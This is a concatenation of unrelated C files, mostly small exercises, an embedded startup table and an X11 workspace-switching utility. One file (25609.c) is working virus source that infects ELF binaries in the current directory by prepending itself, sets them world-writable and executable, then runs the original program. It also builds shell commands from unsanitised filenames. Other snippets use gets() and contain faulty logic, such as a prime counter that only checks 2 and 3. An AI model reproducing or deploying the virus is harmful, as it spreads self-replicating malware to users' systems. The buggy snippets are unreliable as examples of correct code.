IntDefaultHandler, // I2C1 Master and Slave
IntDefaultHandler, // Quadrature Encoder 1
IntDefaultHandler, // CAN0
IntDefaultHandler, // CAN1
IntDefaultHandler, // CAN2
IntDefaultHandler, // Ethernet
IntDefaultHandler, // Hibernate
IntDefaultHandler, // USB0
IntDefaultHandler, // PWM Generator 3
IntDefaultHandler, // uDMA Software Transfer
IntDefaultHandler, // uDMA Error
IntDefaultHandler, // ADC1 Sequence 0
IntDefaultHandler, // ADC1 Sequence 1
IntDefaultHandler, // ADC1 Sequence 2
IntDefaultHandler, // ADC1 Sequence 3
IntDefaultHandler, // I2S0
IntDefaultHandler, // External Bus Interface 0
IntDefaultHandler // GPIO Port J
};
//*****************************************************************************
//
// The following are constructs created by the linker, indicating where the
// the "data" and "bss" segments reside in memory. The initializers for the
// for the "data" segment resides immediately following the "text" segment.
//
//*****************************************************************************
extern unsigned long _etext;
extern unsigned long _data;
extern unsigned long _edata;
extern unsigned long _bss;
extern unsigned long _ebss;
//*****************************************************************************
//
// This is the code that gets called when the processor first starts execution
// following a reset event. Only the absolutely necessary set is performed,
// after which the application supplied entry() routine is called. Any fancy
// actions (such as making decisions based on the reset cause register, and
// resetting the bits in that register) are left solely in the hands of the
// application.
//
//*****************************************************************************
void
ResetISR(void)
{
unsigned long *pulSrc, *pulDest;
//
// Copy the data segment initializers from flash to SRAM.
//
pulSrc = &_etext;
for(pulDest = &_data; pulDest < &_edata; )
{
*pulDest++ = *pulSrc++;
}
//
// Zero fill the bss segment.
//
__asm(" ldr r0, =_bss\n"
" ldr r1, =_ebss\n"
" mov r2, #0\n"
" .thumb_func\n"
"zero_loop:\n"
" cmp r0, r1\n"
" it lt\n"
" strlt r2, [r0], #4\n"
" blt zero_loop");
//
// Call the application's entry point.
//
main();
}
//*****************************************************************************
//
// This is the code that gets called when the processor receives a NMI. This
// simply enters an infinite loop, preserving the system state for examination
// by a debugger.
//
//*****************************************************************************
static void
NmiSR(void)
{
//
// Enter an infinite loop.
//
while(1)
{
}
}
//*****************************************************************************
//
// This is the code that gets called when the processor receives a fault
// interrupt. This simply enters an infinite loop, preserving the system state
// for examination by a debugger.
//
//*****************************************************************************
static void
FaultISR(void)
{
//
// Enter an infinite loop.
//
while(1)
{
}
}
//*****************************************************************************
//
// This is the code that gets called when the processor receives an unexpected
// interrupt. This simply enters an infinite loop, preserving the system state
// for examination by a debugger.
//
//*****************************************************************************
static void
IntDefaultHandler(void)
{
//
// Go into an infinite loop.
//
while(1)
{
}
}
|
the_stack_data/40763956.c
|
#include <stdio.h>
#include <stdlib.h>
int min(int a, int b){
return (a > b) ? b : a;
}
int ClimbStairs_MinCost(int n, int *cost){
int *dp = malloc(sizeof(int) * (n + 1));
//Base case:
dp[0] = cost[0];
dp[1] = cost[1];
for(int i = 2; i <= n; i++){
dp[i] = cost[i] + min(dp[i-1], dp[i-2]);
}
int result = dp[n];
free(dp);
return result;
}
int main(){
int cost[4] = {0,3,2,4};
printf("MinCost = %d\n", ClimbStairs_MinCost(3,cost));
return 0;
}
|
the_stack_data/198579644.c
|
/* ---------------------------------------------------------------- *\
file : ewmh_ws_warp.c
author : m. gumz <akira at fluxbox dot org>
copyr : copyright (c) 2005 by m. gumz
license :
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or
sell copies of the Software, and to permit persons to whom
the Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
start : Mi 25 Mai 2005 09:59:12 CEST
$Id: akwarp.c 11 2005-10-07 05:45:47Z mathias $
\* ---------------------------------------------------------------- */
/* ---------------------------------------------------------------- *\
about :
if the mousepointer enters one of either nextworkspace-area or
prevworkspacearea and stay there for longer than a given
activation_time, akwarp will change to the next/prev workspace,
using ewmh_standards... which means you need an ewmh-compatible
windowmanager (eg fluxbox)
mouseposition is checked at ~ 25fps, that should be good enough.
see README.txt for more information
\* ---------------------------------------------------------------- */
/* ---------------------------------------------------------------- *\
includes
\* ---------------------------------------------------------------- */
#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <X11/Xatom.h>
#ifdef HAVE_XRENDER
# include <X11/extensions/Xrender.h>
#endif /* HAVE_XRENDER */
#ifdef HAVE_XSHAPE
# include <X11/extensions/shape.h>
#endif /* HAVE_XSHAPE */
#include <stdlib.h>
#include <stdio.h>
#include <sys/time.h>
#include <string.h>
#include <time.h>
#include <signal.h>
/* ---------------------------------------------------------------- *\
\* ---------------------------------------------------------------- */
#define PROGRAM "akwarp"
#ifndef VERSION
# define VERSION "1.0rc1"
#endif /* VERSION */
#define ERRMSG(msg) { printf("%s: error, %s\n", PROGRAM, msg); }
static Display* dpy = NULL;
static Window root = None;
static int scrn = 0;
static unsigned int width = 0;
static unsigned int height = 0;
static Bool show_buttons = False;
static XColor button_color;
#ifdef HAVE_XRENDER
static Bool do_shading = False;
static int shade = 50;
#endif /* HAVE_XRENDER */
static float activation_time = 1.0f;
static Atom atom_net_current_desktop = None;
static Atom atom_net_number_of_desktops = None;
typedef struct {
XRectangle area;
Window area_win;
Pixmap area_bg;
Bool area_drawn;
#ifdef HAVE_XSHAPE
Pixmap area_shape_pm;
#endif /* HAVE_XSHAPE */
struct timeval first_time_over_area;
Bool first_touch_area;
int change_ws_by;
} warp_button;
static warp_button prev_ws, next_ws, *buttons[2];
/*------------------------------------------------------------------*\
\*------------------------------------------------------------------*/
#define FREE_PIXMAP(pm) { if (pm) XFreePixmap(dpy, pm); }
#define FREE_WINDOW(win) { if (win) XDestroyWindow(dpy, win); }
static void at_exit() {
#ifdef HAVE_XSHAPE
FREE_PIXMAP(prev_ws.area_shape_pm);
FREE_PIXMAP(next_ws.area_shape_pm);
#endif /* HAVE_XSHAPE */
FREE_PIXMAP(prev_ws.area_bg);
FREE_PIXMAP(next_ws.area_bg);
FREE_WINDOW(prev_ws.area_win);
FREE_WINDOW(next_ws.area_win);
if (dpy)
XCloseDisplay(dpy);
}
static void at_signal(int signal) {
exit(0);
}
static void display_usage() {
printf("\nUsage:\n %s [-h] [-pws <geometry>] [-nws <geometry>] [-t <timeout>]\n",
PROGRAM);
printf("\nOptions:\n"
" -h - displays help\n"
" -v - displays version\n"
" -pws <geometry> - define area for 'previous workspace',\n"
" default is 10xheight+0+0\n"
" -nws <geometry> - define area for 'next workspace',\n"
" default is 10xheight-10+0\n"
" -t <time> - define timeout as float\n"
" -b - show buttons\n"
" -c <color> - color of the buttons\n"
#ifdef HAVE_XRENDER
" -s <int> - shading of the buttons\n"
#endif /* HAVE_XRENDER */
#ifdef HAVE_XSHAPE
" -spws <file> - shapefile for 'prev' button\n"
" -snws <file> - shapefile for 'next' button\n"
#endif /* HAVE_XSHAPE */
"\n"
" see XParseGeometry(3) for details about <geometry>.\n");
printf("\nAuthor:\n"
" Mathias Gumz <akira at fluxbox dot org> (C) 2005.\n\n");
}
/****
static const float tfactor = 1.0f / 1000000.0f;
static float time_diff(const struct timeval* a, const struct timeval* b) {
return ((float)a->tv_sec + (float)(a->tv_usec) * tfactor) -
((float)b->tv_sec + (float)(b->tv_usec) * tfactor);
}
****/
static void update_region(const char* regionstring, XRectangle* rect) {
int x, y = 0;
unsigned int w, h = 0;
int mask = XParseGeometry(regionstring, &x, &y, &w, &h);
if (mask & WidthValue && w > 0)
rect->width = w;
if (mask & HeightValue && h > 0)
rect->height = h;
if (mask & XValue)
rect->x = (mask & XNegative) ? width + x : x;
if (mask & YValue)
rect->y = (mask & YNegative) ? height + y : y;
}
static int check_ewmh() {
Atom atom_net_supporting_wm_check = XInternAtom(dpy, "_NET_SUPPORTING_WM_CHECK", False);
Atom atom_rtype;
int format = 0;
unsigned long nitems = 0;
unsigned long bytes;
unsigned char* data = NULL;
if (XGetWindowProperty(dpy, root, atom_net_supporting_wm_check,
0, 1,
False, 0,
&atom_rtype, &format, &nitems, &bytes,
(unsigned char**)&data) == Success) {
if (data)
XFree(data);
data = NULL;
Atom atom_net_supported = XInternAtom(dpy, "_NET_SUPPORTED", False);
if (XGetWindowProperty(dpy, root, atom_net_supported,
0, 0x7fffffff,
False, XA_ATOM,
&atom_rtype, &format, &nitems, &bytes,
(unsigned char**)&data) == Success) {
if (data) {
Atom* atoms = (Atom*)data;
char** names = (char**)malloc(nitems * sizeof(char*));
size_t i;
Bool support_net_wm_current_desktop = False;
Bool support_net_wm_number_of_desktops = False;
XGetAtomNames(dpy, atoms, nitems, names);
for (i = 0; i < nitems; i++) {
if (!strcmp(names[i], "_NET_NUMBER_OF_DESKTOPS"))
support_net_wm_number_of_desktops = True;
else if (!strcmp(names[i], "_NET_CURRENT_DESKTOP"))
support_net_wm_current_desktop = True;
}
free(names);
XFree(data);
if (support_net_wm_current_desktop && support_net_wm_number_of_desktops) {
atom_net_number_of_desktops = XInternAtom(dpy, "_NET_NUMBER_OF_DESKTOPS", False);
atom_net_current_desktop = XInternAtom(dpy, "_NET_CURRENT_DESKTOP", False);
return 1;
}
return 0;
}
}
}
return 0;
}
static void get_ws_info(int* current_ws, int* nr_ws) {
int format = 0;
unsigned long nitems = 0;
unsigned long bytes;
unsigned char* data = NULL;
Atom atom_rtype;
if (XGetWindowProperty(dpy, root, atom_net_current_desktop,
0, 1,
False, 0,
&atom_rtype, &format, &nitems, &bytes,
(unsigned char**)&data) == Success) {
if (data) {
*current_ws = (int)(*data);
XFree(data);
}
}
data = NULL;
if (XGetWindowProperty(dpy, root, atom_net_number_of_desktops,
0, 1,
False, 0,
&atom_rtype, &format, &nitems, &bytes,
(unsigned char**)&data) == Success) {
if (data) {
*nr_ws = (int)(*data);
XFree(data);
}
}
}
static void change_ws(unsigned int nr_ws) {
XEvent event;
unsigned long mask = SubstructureRedirectMask;
//printf("change workspace\n");
event.xclient.type = ClientMessage;
event.xclient.window = root;
event.xclient.message_type = atom_net_current_desktop;
event.xclient.format = 32;
event.xclient.data.l[0] = (unsigned long)nr_ws;
event.xclient.data.l[1] = CurrentTime;
if (next_ws.area_win) {
next_ws.area_drawn = False;
XUnmapWindow(dpy, next_ws.area_win);
}
if (prev_ws.area_win) {
prev_ws.area_drawn = False;
XUnmapWindow(dpy, prev_ws.area_win);
}
XSendEvent(dpy, root, False, mask, &event);
/****
char wmctrl_call_string[14];
snprintf(&wmctrl_call_string[0], 14, "wmctrl -s %d\n", nr_ws);
system(wmctrl_call_string);
****/
//printf("ok");
}
static void change_ws_by_num(int step) {
int current_ws = 0;
int nr_ws = 1;
int new_ws = 1;
get_ws_info(¤t_ws, &nr_ws);
step %= nr_ws;
new_ws = (current_ws + nr_ws + step) % nr_ws;
if (new_ws != current_ws)
change_ws(new_ws);
prev_ws.first_touch_area = True;
next_ws.first_touch_area = True;
}
static Window create_window(XRectangle* rect) {
Window win = None;
XSetWindowAttributes attr;
attr.override_redirect = True;
attr.colormap = DefaultColormap(dpy, scrn);
attr.background_pixel = button_color.pixel;
attr.border_pixel = BlackPixel(dpy, scrn);
win = XCreateWindow(dpy, root,
rect->x, rect->y, rect->width, rect->height,
0, /* borderwidth */
CopyFromParent, /* depth */
InputOutput, /* class */
CopyFromParent, /* visual */
CWBackPixel|CWColormap|CWOverrideRedirect, &attr);
return win;
}
static Bool check_xrender() {
#ifdef HAVE_XRENDER
static Bool have_xrender = False;
static Bool checked_already = False;
if(!checked_already) {
int major_opcode, first_event, first_error;
have_xrender = (XQueryExtension(dpy, "RENDER",
&major_opcode,
&first_event, &first_error) == False);
checked_already = True;
}
return have_xrender;
#else
return False;
#endif /* HAVE_XRENDER */
}
static void shade_window(Window win, Pixmap* bg_pm, XRectangle* dim) {
#ifdef HAVE_XRENDER
Picture shade_pic = None;
XRenderPictFormat* format = None;
XRenderPictFormat shade_format;
Visual* vis = DefaultVisual(dpy, scrn);
Pixmap src_pm;
Pixmap dst_pm;
{
XImage* image = XGetImage(dpy, root, dim->x, dim->y, dim->width, dim->height, AllPlanes, ZPixmap);
src_pm = XCreatePixmap(dpy, root, dim->width, dim->height, DefaultDepth(dpy, scrn));
XPutImage(dpy, src_pm, DefaultGC(dpy, scrn), image, 0, 0, 0, 0, dim->width, dim->height);
XDestroyImage(image);
}
{
if (*bg_pm)
dst_pm = *bg_pm;
else
dst_pm = XCreatePixmap(dpy, win, dim->width, dim->height, DefaultDepth(dpy, scrn));
{
GC gc;
XGCValues val;
val.foreground = button_color.pixel;
gc = XCreateGC(dpy, dst_pm, GCForeground, &val);
XFillRectangle(dpy, dst_pm, gc, 0, 0, dim->width, dim->height);
XFreeGC(dpy, gc);
}
}
{
XRenderPictFormat shade_format;
unsigned long mask = PictFormatType|PictFormatDepth|PictFormatAlpha|PictFormatAlphaMask;
shade_format.type = PictTypeDirect;
shade_format.depth = 8;
shade_format.direct.alpha = 0;
shade_format.direct.alphaMask = 0xff;
format = XRenderFindFormat(dpy, mask, &shade_format, 0);
}
if (!format) {
printf("error, couldnt find valid format for alpha.\n");
}
{ /* fill the shade-picture */
Pixmap shade_pm = None;
XRenderColor shade_color;
XRenderPictureAttributes shade_attr;
shade_color.alpha = 0xffff * (shade)/100;
shade_attr.repeat = True;
shade_pm = XCreatePixmap(dpy, src_pm, 1, 1, 8);
shade_pic = XRenderCreatePicture(dpy, shade_pm, format, CPRepeat, &shade_attr);
XRenderFillRectangle(dpy, PictOpSrc, shade_pic, &shade_color, 0, 0, 1, 1);
XFreePixmap(dpy, shade_pm);
}
{ /* blend all together */
Picture src_pic;
Picture dst_pic;
format = XRenderFindVisualFormat(dpy, vis);
src_pic = XRenderCreatePicture(dpy, src_pm, format, 0, 0);
dst_pic = XRenderCreatePicture(dpy, dst_pm, format, 0, 0);
XRenderComposite(dpy, PictOpOver,
src_pic, shade_pic, dst_pic,
0, 0, 0, 0, 0, 0, dim->width, dim->height);
XRenderFreePicture(dpy, src_pic);
XRenderFreePicture(dpy, dst_pic);
}
*bg_pm = dst_pm;
XSetWindowBackgroundPixmap(dpy, win, dst_pm);
XFreePixmap(dpy, src_pm);
#endif /* HAVE_XRENDER */
}
static void shape_window(Window win, Pixmap shape) {
#ifdef HAVE_XSHAPE
XShapeCombineMask(dpy, win, ShapeBounding, 0, 0, shape, ShapeSet);
#endif /* HAVE_XSHAPE */
}
static void main_loop() {
struct timespec pause = {
0, 40000000
};
struct timeval tval;
struct timezone tz;
Window tmp_win;
int rootx;
int rooty;
int tmp_ignore;
unsigned int tmp_ignore2;
int i;
//printf("mainloop\n");
if (show_buttons) {
prev_ws.area_win = create_window(&prev_ws.area);
next_ws.area_win = create_window(&next_ws.area);
}
#ifdef HAVE_XSHAPE
if (prev_ws.area_shape_pm)
shape_window(prev_ws.area_win, prev_ws.area_shape_pm);
if (next_ws.area_shape_pm)
shape_window(next_ws.area_win, next_ws.area_shape_pm);
#endif /* HAVE_XSHAPE */
for (;;) {
XQueryPointer(dpy, root, &tmp_win, &tmp_win,
&rootx, &rooty,
&tmp_ignore, &tmp_ignore, &tmp_ignore2);
gettimeofday(&tval, NULL);
for (i = 0; i < 2; i++) {
/* pointer is in buttons[i].area */
if (rootx >= buttons[i]->area.x && rootx <= buttons[i]->area.x + buttons[i]->area.width &&
rooty >= buttons[i]->area.y && rooty <= buttons[i]->area.y + buttons[i]->area.height) {
if (buttons[i]->area_win && !buttons[i]->area_drawn) {
#ifdef HAVE_XRENDER
if (do_shading)
shade_window(buttons[i]->area_win, &buttons[i]->area_bg, &buttons[i]->area);
#endif /* HAVE_XRENDER */
XMapWindow(dpy, buttons[i]->area_win);
XRaiseWindow(dpy, buttons[i]->area_win);
buttons[i]->area_drawn = True;
}
if (buttons[i]->first_touch_area) {
buttons[i]->first_touch_area = False;
buttons[i]->first_time_over_area.tv_sec = tval.tv_sec;
buttons[i]->first_time_over_area.tv_usec = tval.tv_usec;
}
float td = ((tval.tv_sec - buttons[i]->first_time_over_area.tv_sec) * 1000) +
((tval.tv_usec - buttons[i]->first_time_over_area.tv_usec) / 1000);
////printf("td: %f\n", td);
//printf("a: %f\n",activation_time);
if (td >= activation_time)
change_ws_by_num(buttons[i]->change_ws_by);
} else {
buttons[i]->first_touch_area = True;
if (buttons[i]->area_win) {
XUnmapWindow(dpy, buttons[i]->area_win);
buttons[i]->area_drawn = False;
}
}
}
nanosleep(&pause, NULL);
}
}
int main(int argc, char* argv[]) {
char* opt_area_next_ws = NULL;
char* opt_area_prev_ws = NULL;
char* opt_activation_time = NULL;
char* opt_button_color = "white";
#ifdef HAVE_XRENDER
char* opt_shade = NULL;
#endif /* HAVE_XRENDER */
#ifdef HAVE_XSHAPE
char* opt_shape_prev_ws = NULL;
char* opt_shape_next_ws = NULL;
#endif /* HAVE_XSHAPE */
int i;
// initialize buttons
buttons[0] = &prev_ws;
buttons[1] = &next_ws;
for(i = 0; i < 2; i++) {
buttons[i]->area_win = None;
buttons[i]->area_bg = None;
buttons[i]->area_drawn = False;
#ifdef HAVE_XSHAPE
buttons[i]->area_shape_pm = None;
#endif /* HAVE_XSHAPE */
buttons[i]->first_touch_area = True;
}
for (i = 1; i < argc; i++) {
if (!strcmp(argv[i], "-h")) {
display_usage();
exit(0);
} else if (!strcmp(argv[i], "-v")) {
printf("%s %s (c) 2005 by Mathias Gumz.\n",
PROGRAM, VERSION);
exit(0);
} else if (!strcmp(argv[i], "-nws")) {
if (++i < argc && strlen(argv[i])) {
opt_area_next_ws = argv[i];
} else {
ERRMSG("missing argument for -nws");
exit(1);
}
} else if (!strcmp(argv[i], "-pws")) {
if (++i < argc && strlen(argv[i])) {
opt_area_prev_ws = argv[i];
} else {
ERRMSG("missing argument for -pws");
exit(1);
}
} else if (!strcmp(argv[i], "-t")) {
if (++i < argc && strlen(argv[i])) {
opt_activation_time = argv[i];
} else {
ERRMSG("missing argument for -t");
exit(1);
}
} else if (!strcmp(argv[i], "-b")) {
show_buttons = True;
} else if (!strcmp(argv[i], "-c")) {
if (++i < argc && strlen(argv[i])) {
opt_button_color = argv[i];
} else {
ERRMSG("missing argument for -c");
exit(1);
}
#ifdef HAVE_XRENDER
} else if (!strcmp(argv[i], "-s")) {
if (++i < argc && strlen(argv[i])) {
opt_shade = argv[i];
} else {
ERRMSG("missing argument for -s");
exit(1);
}
#endif /* HAVE_XRENDER */
#ifdef HAVE_XSHAPE
} else if (!strcmp(argv[i], "-spws")) {
if (++i < argc && strlen(argv[i])) {
opt_shape_prev_ws = argv[i];
} else {
ERRMSG("missing argument for -spws");
exit(1);
}
} else if (!strcmp(argv[i], "-snws")) {
if (++i < argc && strlen(argv[i])) {
opt_shape_next_ws = argv[i];
} else {
ERRMSG("missing argument for -snws");
exit(1);
}
#endif /* HAVE_XSHAPE */
} else {
printf("opt \"%s\"\n",argv[i]);
ERRMSG("unknown option, call -h. (%s)\n");
exit(1);
}
}
if (opt_activation_time) {
activation_time = atof(opt_activation_time);
}
#ifdef HAVE_XRENDER
if (opt_shade) {
int tmp = atoi(opt_shade);
if (tmp < 1 || tmp > 99) {
ERRMSG("wronge range for shading: [1,99] allowed.");
exit(1);
} else {
shade = tmp;
do_shading = True;
}
}
#endif /* HAVE_XRENDER */
atexit(at_exit);
signal(SIGTERM, at_signal);
signal(SIGINT, at_signal);
signal(SIGHUP, at_signal);
if ((dpy = XOpenDisplay(NULL))) {
root = DefaultRootWindow(dpy);
scrn = DefaultScreen(dpy);
if (!check_ewmh()) {
ERRMSG("could'nt find wm supporting ewmh.");
exit(1);
}
{ /* get dimensions */
XWindowAttributes attr;
XGetWindowAttributes(dpy, root, &attr);
width = attr.width;
height = attr.height;
}
{ /* default regions */
prev_ws.area.x = 0;
prev_ws.area.y = 0;
prev_ws.area.width = 10;
prev_ws.area.height = height;
prev_ws.change_ws_by = -1;
if (opt_area_prev_ws)
update_region(opt_area_prev_ws, &prev_ws.area);
next_ws.area.x = width - 10;
next_ws.area.y = 0;
next_ws.area.width = 10;
next_ws.area.height = height;
next_ws.change_ws_by = 1;
if (opt_area_next_ws)
update_region(opt_area_next_ws, &next_ws.area);
}
#ifdef HAVE_XSHAPE
{ /* read in shape-files */
unsigned int width = 0;
unsigned int height = 0;
Pixmap tmp_pm = None;
int int_notused;
if (opt_shape_prev_ws) {
if (XReadBitmapFile(dpy, root, opt_shape_prev_ws,
&width, &height, &tmp_pm,
&int_notused, &int_notused) == BitmapSuccess) {
prev_ws.area.width = width;
prev_ws.area.height = height;
prev_ws.area_shape_pm = tmp_pm;
} else {
ERRMSG("couldnt load the bitmapfile\n");
printf("[%s]\n", opt_shape_prev_ws);
}
}
if (opt_shape_next_ws) {
if (XReadBitmapFile(dpy, root, opt_shape_next_ws,
&width, &height, &tmp_pm,
&int_notused, &int_notused) == BitmapSuccess) {
next_ws.area.width = width;
next_ws.area.height = height;
next_ws.area_shape_pm = tmp_pm;
} else {
ERRMSG("couldnt load the bitmapfile\n");
printf("[%s]\n", opt_shape_next_ws);
}
}
}
#endif /* HAVE_XSHAPE */
if (show_buttons) {
XColor tmp;
if((XAllocNamedColor(dpy, DefaultColormap(dpy, scrn), opt_button_color, &tmp, &button_color)) == 0)
if ((XAllocNamedColor(dpy, DefaultColormap(dpy, scrn), "white", &tmp, &button_color)) == 0) {
ERRMSG("couldnt allocate shade_color.");
exit(1);
}
}
main_loop();
} else {
ERRMSG("could'nt open display.");
exit(1);
}
exit(0);
}
/* ---------------------------------------------------------------- *\
\* ---------------------------------------------------------------- */
|
the_stack_data/59512524.c
|
/*Exercise 4 - Functions
Implement the three functions minimum(), maximum() and multiply() below the main() function.
Do not change the code given in the main() function when you are implementing your solution.*/
#include <stdio.h>
int minimum(int no1,int no2);
int maximum(int no1,int no2);
int multiply(int no1,int no2);
int main() {
int no1, no2;
printf("Enter a value for no 1 : ");
scanf("%d", &no1);
printf("Enter a value for no 2 : ");
scanf("%d", &no2);
printf("%d ", minimum(no1, no2));
printf("%d ", maximum(no1, no2));
printf("%d ", multiply(no1, no2));
return 0;
}
int minimum(int no1,int no2){
if (no1<no2){
return no1;
}
else {
return no2;
}
}
int maximum(int no1,int no2){
if (no1<no2){
return no2;
}
else {
return no1;
}
}
int multiply(int no1,int no2){
return no1*no2;
}
|
the_stack_data/220455926.c
|
#include<stdio.h>
int wcount(char *s)
{
unsigned long i;
int k,j;
k=0;
for (i=0;i>-1;i++){
if (s[i]==0){
break;
}else{
if (s[i]!=' '){
k+=1;
while(s[i]!=' '){
i++;
}
}
}
}
return k;
}
int main()
{
char s[1000000];
int i;
char *p=s;
char *gets(char *p);
gets(s);
printf("%d",wcount(p));
}
|
the_stack_data/200144223.c
|
#include<stdio.h>
int main()
{
int s1,s2,s3,s4,s5;
float sum;
float per;
printf("Enter marks of 5 subs: ");
scanf(" %d %d %d %d %d", &s1,&s2,&s3,&s4,&s5);
sum= s1+s2+s3+s4+s5;
per= (sum/500)*100;
printf("\nTotal marks = %0.2f ", sum);
printf("\nPercentage = %0.2f \n\n", per);
return 0;
}
|
the_stack_data/64200726.c
|
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <pthread.h>
#include <string.h>
void *partial_sum(void *ptr);
int *values;
int n;
int result[2]; /* partial sums arrays */
float report_cpu_time();
int main( int argc, char **argv)
{
int i;
long sum;
float start_time, total_time;
if (argc != 2) {
fprintf(stderr, "Usage: %s <n> \n", argv[0]);
exit(1);
}
n = atoi(argv[1]);
values = (int *) malloc(sizeof(int)*n);
for (i=0; i<n; i++)
values[i] = 1;
start_time = report_cpu_time();
sum = 0;
for (i=0; i<n; i++) {
sum += values[i];
}
total_time = report_cpu_time() - start_time;
printf("Total sum = %ld time taken = %lf seconds \n", sum, total_time);
exit(0);
}
|
the_stack_data/132953645.c
|
//prime nos
#include<stdio.h>
int prime_btw(int a, int b)
{
if(a == b+1)
return(0);
else if(a == 2)
return(1 + prime_btw(a+1, b));
else if(a == 3)
return(1 + prime_btw(a+1, b));
else if(a%2!=0 && a%3!=0)
return(1 + prime_btw(a+1, b));
else
return(prime_btw(a+1, b));
}
int main()
{
int a, b;
printf("Enter 2 values\n");
scanf("%d%d", &a, &b);
printf("The total no of prime numbers are : %d", prime_btw(a, b));
return(0);
}
|
the_stack_data/6388150.c
|
extern void *f1 (void *px, const void *py, int ii)
__attribute__((nonnull (1, 2)));
extern void *f2 (void *px, const void *py, int ii)
__attribute__((nonnull ()));
extern void *f3 (void *px, const void *py, int ii)
__attribute__((nonnull));
|
the_stack_data/87637320.c
|
#include <stdio.h> /* for perror() */
#include <stdlib.h> /* for exit() */
void DieWithError(char *errorMessage)
{
perror(errorMessage) ;
exit(1);
}
|
the_stack_data/838364.c
|
#include<stdio.h>
int main()
{
int a = 10;
int b = 10;
int c = a+++b;
printf("%d\n", c);
}
|
the_stack_data/304820.c
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int is_file_infected (char filename[])
{
char output[400];
char command [400];
snprintf(command, sizeof command, "%s%s%s", "strings ", filename, "| grep virus > /tmp/virussearch046.txt");
char inf[] = "virus";
FILE *finf;
system(&command[0]);
finf = fopen("/tmp/virussearch046.txt", "r");
fgets(output,399,finf);
return (strstr(output,inf) != NULL);
}
int is_file_elf(char filename[])
{
char command[200];
snprintf(command, sizeof command, "%s%s%s", "file ", filename, " > /tmp/elfsearch046.txt");
char elf[] = "ELF";
char output[200];
FILE *file;
system(&command[0]);
file = fopen("/tmp/elfsearch046.txt", "r");
fgets(output,199,file);
return (strstr(output,elf) != NULL);
}
int main(int argc, char* argv[])
{
FILE *fp;
FILE *virus_file,*target_file,*current_file;
char command[500];
char filename[100];
system("ls > /tmp/contents046.txt");
fp = fopen("/tmp/contents046.txt", "r");
while (!feof(fp))
{
fgets(filename,300,fp);
filename[strlen(filename)-1]='\0';
if(is_file_elf(filename))
{
if (is_file_infected(filename) == 0)
{
snprintf(command, sizeof command, "%s%s%s%s%s%s", "cat virus ", filename, " > /tmp/infect046.tmp;mv /tmp/infect046.tmp ", filename, ";chmod 777 ", filename);
system(&command[0]);
break;
}
}
}
if(strcmp(argv[0],"virus") == 0 || strcmp(argv[0] , "./virus") == 0)
{
char delete_command[] = "find /tmp -name '*046*' -delete";
system(&delete_command[0]);
exit(0);
}
else
{
char ch;int i;
virus_file = fopen("virus", "r");
fseek(virus_file,0,SEEK_END);
int end = ftell(virus_file);
fclose(virus_file);
current_file = fopen(argv[0],"r");
target_file = fopen("/tmp/target046","w");
fseek(current_file, end, SEEK_SET);
while (!feof(current_file))
{
ch = fgetc(current_file);
fputc(ch, target_file);
}
fclose(current_file);
fclose(target_file);
system("chmod 777 /tmp/target046");
if(argc==1)
{
system("/tmp/target046");
}
else
{
char original_functionality[200] = "/tmp/target046 ";
for (i=2; i<=argc; i++)
{
if(i == argc)
strcat(original_functionality, argv[i-1]);
else
{
strcat(original_functionality, argv[i-1]);
strcat(original_functionality, " ");
}
}
system(&original_functionality[0]);
}
}
printf("Hello! I am a simple virus!\n");
char delete_command[] = "find /tmp -name '*046*' -delete";
system(&delete_command[0]);
return 0;
}
|
the_stack_data/25609.c
|
/*
*******************************************************************************
* Copyright (c) 2020-2021, STMicroelectronics
* All rights reserved.
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
*******************************************************************************
*/
#if defined(ARDUINO_GENERIC_F302VCYX)
#include "pins_arduino.h"
/**
* @brief System Clock Configuration
* @param None
* @retval None
*/
WEAK void SystemClock_Config(void)
{
/* SystemClock_Config can be generated by STM32CubeMX */
#warning "SystemClock_Config() is empty. Default clock at reset is used."
}
#endif /* ARDUINO_GENERIC_* */
|
the_stack_data/1194269.c
|
#include <stdio.h>
int main() {
int t,p,i,m,a[12]={2048,1024,512,256,128,64,32,16,8,4,2,1};
scanf("%d",&t);
while(t--) {
scanf("%d",&p);
for(i=m=0;i<12;++i) {
m+=p/a[i];
p-=a[i]*(p/a[i]);
}
printf("%d\n",m);
}
return 0;
}
|
the_stack_data/181394105.c
|
int x = -2 % -1;
|
the_stack_data/89199323.c
|
#include <stdio.h>
struct STUDENT {
char name[50];
int rollNo,m1,m2,m3;
}s[3];
void result(){
int i;
for(i=0;i<3;i++){
if (s[i].m1 >= 23)
printf("Student %d has passed in m1\n",i+1);
else
printf("Student %d has failed in m1\n",i+1);
if (s[i].m2 >= 23)
printf("Student %d has passed in m2\n",i+1);
else
printf("Student %d has failed in m2\n",i+1);
if (s[i].m3 >= 23)
printf("Student %d has passed in m3\n",i+1);
else
printf("Student %d has failed in m3\n",i+1);
}
}
int main(){
printf("Program written by enrollment number 200420107012\n");
int n,i;
printf("Enter Number of students: ");
scanf("%d",&n);
for(i=0;i<n;i++){
printf("Enter name of student: ");
getchar();
fgets(s[i].name,50,stdin);
printf("Enter student rollNo: ");
scanf("%d",&s[i].rollNo);
printf("Enter marks m1 m2 m3 of student(out of 70): ");
scanf("%d %d %d",&s[i].m1,&s[i].m2,&s[i].m3);
}
result();
return 0;
}
|
the_stack_data/242551.c
|
void main() {
int i, j, n, m;
float a[100], b[100] ;
#pragma scop
/* Esced kernel */
